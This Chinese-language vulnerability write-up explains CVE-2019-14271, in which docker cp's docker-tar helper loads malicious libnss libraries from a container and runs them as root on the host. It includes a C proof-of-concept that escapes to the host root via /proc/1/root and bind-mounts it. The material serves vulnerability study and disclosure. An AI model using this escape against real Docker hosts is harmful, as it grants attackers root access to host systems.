CVE-2019-14271:加载不受信任的动态链接库
漏洞背景
当执行 docker cp 从容器复制文件时,Docker 会启动一个名为 docker-tar 的辅助进程来完成实际工作。
docker-tar的工作机制:这个进程会执行chroot,将自身根目录切换进目标容器的文件系统。- 为什么需要
chroot? 这是为了防范像 CVE-2018-15664 这样的“符号链接替换漏洞”。在chroot环境下,容器内的符号链接会被限制在容器内部解析,从而防止其指向宿主机上的敏感文件。 chroot是 Change Root(改变根目录)的缩写。它是一个 Linux 系统调用和命令,作用是将当前进程及其子进程的可见根目录(即/)永久性地更改为文件系统中的另一个指定目录。假设我们执行
chroot /new/root /bin/bash:- 进程原本能看到整个文件系统:
/bin、/etc、/home... - 执行
chroot后,进程被“关”进了/new/root目录。 - 从这一刻起,这个
bash进程再看/,实际看到的是宿主机上的/new/root。 - 它想访问
/etc/passwd,实际上访问的是/new/root/etc/passwd。 - 它想访问
/bin/sh,实际上访问的是/new/root/bin/sh。 - 它完全无法访问
/new/root之外的任何文件,比如宿主机的/root/secret.txt。
- 进程原本能看到整个文件系统:
docker-tar的权限:docker-tar进程运行在宿主机命名空间,拥有 root 权限,且不受容器 cgroups 或 seccomp 等安全机制的限制。这是一个高权限的“特使”,但为了安全被chroot进了容器环境。
漏洞原理
有漏洞的Docker版本是用Go v1.11编译的。在该版本中,一些含有嵌入C代码(cgo)的包会在运行时动态加载共享的库。这些包包括net和os/user,都是docker-tar使用的,而且在运行时会加载多个libnss_*.so库。一般来说,库是从host文件系统加载的,但因为docker-tarchroot到了容器,因此会从容器文件系统中加载库。也就是说docker-tar会加载和执行来源于容器或由容器控制的代码。因此,通过注入代码到docker-tar,恶意容器就可以获取host主机的完全root访问权限。
可能的攻击场景有Docker用户从另一个Docker处复制文件:
- 容器运行含有恶意
libnss_*.so库的镜像 - 容器中含有被攻击者替换的
libnss_*.so库
在这两种情况下,攻击者都可以获取主机上的root代码执行权限。
POC
cat > /root/exp/evil.c <<'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
void escape(void) {
// 打开宿主根目录(通过 /proc/1/root)
int fd = open("/proc/1/root", O_RDONLY | O_DIRECTORY);
if (fd < 0) return;
// 切换到宿主根目录(不受 chroot 影响)
fchdir(fd);
close(fd);
// 创建挂载点
mkdir("/host_fs", 0777);
// 挂载当前目录(即宿主根)到 /host_fs
if (mount(".", "/host_fs", NULL, MS_BIND | MS_REC, NULL) == 0) {
int f = open("/host_fs/evil", O_CREAT | O_WRONLY, 0644);
if (f >= 0) {
write(f, "Escape Success!\n", 17);
close(f);
}
}
}
EOF漏洞复现
准备exp文件

创建新容器,并把exp拷贝进容器

编译poc

替换文件

触发漏洞
